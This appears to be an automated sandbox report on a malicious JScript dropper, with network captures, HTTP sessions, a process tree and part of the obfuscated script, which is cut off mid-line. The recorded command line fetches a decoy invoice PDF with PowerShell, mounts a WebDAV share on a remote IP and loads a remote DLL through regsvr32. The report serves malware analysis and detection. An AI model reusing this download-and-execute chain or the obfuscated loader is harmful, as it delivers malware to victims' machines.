Jan 10, 2025 22:13:40.452251911 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452265024 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452270031 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452270031 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452281952 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452303886 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452337980 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452343941 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452358007 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452370882 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452394009 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452403069 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452406883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452420950 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452434063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.452502966 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.452502966 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492147923 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492168903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492191076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492203951 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492217064 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492230892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492243052 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492244959 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492243052 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492274046 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492289066 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492300987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492312908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492326021 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492336035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492336035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492338896 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492352962 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492367029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492381096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492392063 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492405891 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492418051 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492418051 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492747068 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.492779970 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492795944 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:40.492975950 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.564461946 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:40.764502048 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:41.244055033 CET	49756	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:41.249129057 CET	8888	49756	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:41.249217033 CET	49756	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:41.249656916 CET	49756	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:41.255263090 CET	8888	49756	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:42.045914888 CET	8888	49756	193.143.1.205	192.168.2.10
Jan 10, 2025 22:13:42.091006041 CET	49756	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:13:42.335236073 CET	49756	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 22:14:04.657335043 CET	64372	53	192.168.2.10	162.159.36.2
Jan 10, 2025 22:14:04.662102938 CET	53	64372	162.159.36.2	192.168.2.10
Jan 10, 2025 22:14:04.662177086 CET	64372	53	192.168.2.10	162.159.36.2
Jan 10, 2025 22:14:04.667022943 CET	53	64372	162.159.36.2	192.168.2.10
Jan 10, 2025 22:14:05.159648895 CET	64372	53	192.168.2.10	162.159.36.2
Jan 10, 2025 22:14:05.169826984 CET	64372	53	192.168.2.10	162.159.36.2
Jan 10, 2025 22:14:05.175017118 CET	53	64372	162.159.36.2	192.168.2.10
Jan 10, 2025 22:14:05.175141096 CET	64372	53	192.168.2.10	162.159.36.2
Jan 10, 2025 22:14:56.422243118 CET	64999	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:14:56.427040100 CET	53	64999	1.1.1.1	192.168.2.10
Jan 10, 2025 22:14:56.427164078 CET	64999	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:14:56.427207947 CET	64999	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:14:56.431958914 CET	53	64999	1.1.1.1	192.168.2.10
Jan 10, 2025 22:14:56.873155117 CET	53	64999	1.1.1.1	192.168.2.10
Jan 10, 2025 22:14:56.877789974 CET	64999	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:14:56.882850885 CET	53	64999	1.1.1.1	192.168.2.10
Jan 10, 2025 22:14:56.882913113 CET	64999	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:13:49.039150953 CET	64628	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:14:04.656732082 CET	53	50977	162.159.36.2	192.168.2.10
Jan 10, 2025 22:14:05.190999985 CET	55986	53	192.168.2.10	1.1.1.1
Jan 10, 2025 22:14:05.198612928 CET	53	55986	1.1.1.1	192.168.2.10
Jan 10, 2025 22:14:56.421680927 CET	53	61049	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:13:49.039150953 CET	192.168.2.10	1.1.1.1	0x40a3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:05.190999985 CET	192.168.2.10	1.1.1.1	0x4f90	Standard query (0)	18.31.95.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:13:49.046427011 CET	1.1.1.1	192.168.2.10	0x40a3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:13:49.804610014 CET	1.1.1.1	192.168.2.10	0x8e12	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:13:49.804610014 CET	1.1.1.1	192.168.2.10	0x8e12	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:03.658916950 CET	1.1.1.1	192.168.2.10	0x6494	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:03.658916950 CET	1.1.1.1	192.168.2.10	0x6494	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:14:05.198612928 CET	1.1.1.1	192.168.2.10	0x4f90	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49740	193.143.1.205	80	1424	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:13:38.959472895 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:13:39.752918005 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:13:39.753009081 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:13:39.753021955 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:13:39.753035069 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:13:39.753046036 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 22:13:39.753058910 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 22:13:39.753072023 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 22:13:39.753084898 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 22:13:39.753098011 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 22:13:39.753109932 CET	36	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 Data Ascii: \|%gkPi~vU=.[
Jan 10, 2025 22:13:39.812978029 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49756	193.143.1.205	8888	1516	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:13:41.249656916 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:13:42.045914888 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:13:41 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:13:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11267230832782128009.js"
Imagebase:	0x7ff62f4d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll
Imagebase:	0x7ff711be0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:13:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:13:39
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff711be0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:13:39
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d4a20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:13:40
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:13:40
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:13:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1764,i,16356598538612357135,8873104623319308209,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function uxtqmfgl() {	uxtqmfgl() ➔ undefined
1	dxizykfb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uzebyhcup = this[ljvcvqfl + psdjc + cropnboe + yuyjkd + lyvfzt + ubtesjfew + rrqhrgqvg + mpjwrzhav] ( this[vrngfktd + mfeixdt + luouma + cropnboe + duqxu + ljvcvqfl + mpjwrzhav][zoiwl + cropnboe + lyvfzt + psdjc + mpjwrzhav + lyvfzt + artneqo + vabzevgqj + znkea + lyvfzt + luouma + mpjwrzhav] ( vrngfktd + mfeixdt + luouma + cropnboe + duqxu + ljvcvqfl + mpjwrzhav + hgbpsf + mfeixdt + xqcacwk + lyvfzt + pyywx + pyywx ) [rovinx + lyvfzt + wfmvsq + rovinx + lyvfzt + psdjc + hbwfmj] ( ngmxrjhd + rwkim + wokpyn + qhvmy + licqn + zoiwl + mhidoiie + rovinx + rovinx + wokpyn + mgdvjm + garlwbt + licqn + mhidoiie + mfeixdt + wokpyn + rovinx + nikcfsjs + zoiwl + iuexczmo + rrqhrgqvg + mpjwrzhav + cropnboe + iuexczmo + pyywx + sevuqnpcc + mrjzuzf + psdjc + rrqhrgqvg + lyvfzt + pyywx + nikcfsjs + ubtesjfew + rrqhrgqvg + mpjwrzhav + lyvfzt + cropnboe + rrqhrgqvg + psdjc + mpjwrzhav + duqxu + iuexczmo + rrqhrgqvg + psdjc + pyywx + nikcfsjs + biwpye + iuexczmo + luouma + psdjc + pyywx + lyvfzt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ujojqzg = 0 ; ujojqzg < dxizykfb[pyywx + lyvfzt + rrqhrgqvg + wfmvsq + mpjwrzhav + xqcacwk] ; ++ ujojqzg )
4	{
5	if ( uzebyhcup == dxizykfb[ujojqzg] )
6	{
7	uzebyhcup = true;
8	break ;
9	}
10	}
11	if ( uzebyhcup !== true )
12	this[vrngfktd + mfeixdt + luouma + cropnboe + duqxu + ljvcvqfl + mpjwrzhav][xbdlluqn + bdgqtysx + duqxu + mpjwrzhav] ( );
13	this[vrngfktd + mfeixdt + luouma + cropnboe + duqxu + ljvcvqfl + mpjwrzhav][zoiwl + cropnboe + lyvfzt + psdjc + mpjwrzhav + lyvfzt + artneqo + vabzevgqj + znkea + lyvfzt + luouma + mpjwrzhav] ( vrngfktd + mfeixdt + luouma + cropnboe + duqxu + ljvcvqfl + mpjwrzhav + hgbpsf + mfeixdt + xqcacwk + lyvfzt + pyywx + pyywx ) [cropnboe + bdgqtysx + rrqhrgqvg] ( luouma + owktsfsln + hbwfmj + sevuqnpcc + cghac + luouma + sevuqnpcc + ljvcvqfl + iuexczmo + itgfr + lyvfzt + cropnboe + yuyjkd + xqcacwk + lyvfzt + pyywx + pyywx + hgbpsf + lyvfzt + xymrg + lyvfzt + sevuqnpcc + bzdrrhx + zoiwl + iuexczmo + owktsfsln + owktsfsln + psdjc + rrqhrgqvg + hbwfmj + sevuqnpcc + msuvjjr + ubtesjfew + rrqhrgqvg + yrbpxqg + iuexczmo + xwaogpo + lyvfzt + bzdrrhx + vrngfktd + lyvfzt + vabzevgqj + rovinx + lyvfzt + vydlzhk + bdgqtysx + lyvfzt + yuyjkd + mpjwrzhav + sevuqnpcc + bzdrrhx + artneqo + bdgqtysx + mpjwrzhav + ckzeoiy + duqxu + pyywx + lyvfzt + sevuqnpcc + vqziqqxk + mpjwrzhav + lyvfzt + owktsfsln + ljvcvqfl + vqziqqxk + nikcfsjs + duqxu + rrqhrgqvg + yrbpxqg + iuexczmo + duqxu + luouma + lyvfzt + hgbpsf + ljvcvqfl + hbwfmj + fzkdpz + sevuqnpcc + xqcacwk + mpjwrzhav + mpjwrzhav + ljvcvqfl + ogqtyoytr + cghac + cghac + dclfff + pgvwvupi + vuzjs + hgbpsf + dclfff + yiwhu + vuzjs + hgbpsf + dclfff + hgbpsf + tmllibqvr + epipdzse + qlmogvqc + cghac + duqxu + rrqhrgqvg + yrbpxqg + iuexczmo + duqxu + luouma + lyvfzt + hgbpsf + ljvcvqfl + xqcacwk + ljvcvqfl + msuvjjr + eodbittv + eodbittv + yuyjkd + mpjwrzhav + psdjc + cropnboe + mpjwrzhav + sevuqnpcc + vqziqqxk + mpjwrzhav + lyvfzt + owktsfsln + ljvcvqfl + vqziqqxk + nikcfsjs + duqxu + rrqhrgqvg + yrbpxqg + iuexczmo + duqxu + luouma + lyvfzt + hgbpsf + ljvcvqfl + hbwfmj + fzkdpz + eodbittv + eodbittv + luouma + owktsfsln + hbwfmj + sevuqnpcc + cghac + luouma + sevuqnpcc + rrqhrgqvg + lyvfzt + mpjwrzhav + sevuqnpcc + bdgqtysx + yuyjkd + lyvfzt + sevuqnpcc + nikcfsjs + nikcfsjs + dclfff + pgvwvupi + vuzjs + hgbpsf + dclfff + yiwhu + vuzjs + hgbpsf + dclfff + hgbpsf + tmllibqvr + 